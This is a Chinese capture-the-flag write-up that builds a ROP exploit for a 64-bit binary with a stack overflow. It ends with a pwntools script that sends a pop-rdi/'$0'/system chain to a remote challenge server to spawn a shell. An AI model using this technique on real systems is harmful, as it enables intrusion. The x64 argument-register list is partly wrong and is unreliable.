0x01 二进制文件保护检查

1.png
64位程序,没有开启任何一项保护措施


0x02 IDA

用IDA打开,F5反编译,main函数中存在栈溢出,s只分配了0x10字节,read读取0x30字节。
2.png

查看已知函数,没有可利用的。Shift+F12查看是否有可疑字符串
3.png

双击可疑字符串,鼠标移到aOkYouFindMeButx跳转到调用函数

函数调用了system函数,但是传入参数不是我们想要的'/bin/bash'
4.png


0x03 ROP攻击

攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。 栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器 。 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程序的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。

所以这里我们可以构造ROP攻击,但是前提是我们能找到/bin/bash字符串,但是这道题有点坑的地方在于没有/bin/bash字符串,只有$0,$0在linux中为shell或shell脚本的名称,在这里可以替代/bin/bash
5.png

除此之外还需要注意一点x64程序调用传参的方式,我们已经知道x86程序传参都是通过压栈实现,x64有些许不同,会借用寄存器传参。

如果是x64程序,参数个数少于7个时:

fun(a,b,c,d,e,f) ==> a—>%rdi, b—>%rsi, c—>%rdx, d—>%rcx, e—>%rax

参数大于7个时,按x86方式,多余的参数通过栈传递

所以我们传入参数方式通过rdi寄存器, 所以我们需要将$0传入rdi寄存器

我们使用ROPgadget工具,查找所需的代码片段的地址:

  1. ROPgadget --binary pwn4 --only 'pop|ret'
  2. ROPgadget --binary pwn4 --string '\$0'

6.png

而system()函数地址我们可以通过IDA直接查看
7.png


0x04 构造exp

0x10个字节覆盖变量s,8个字节rbp,pop rdi;ret地址0x4007d3,$0地址0x60111f,system地址0x40075a

  1. from pwn import *
  2. os = remote('114.116.54.89','10004')
  3. #os = process('./pwn4')
  4. payload = 'a'*(0x10+8)+p64(0x4007d3)+p64(0x60111f)+p64(0x40075a)
  5. os.recv()
  6. os.sendline(payload)
  7. os.interactive()

8.png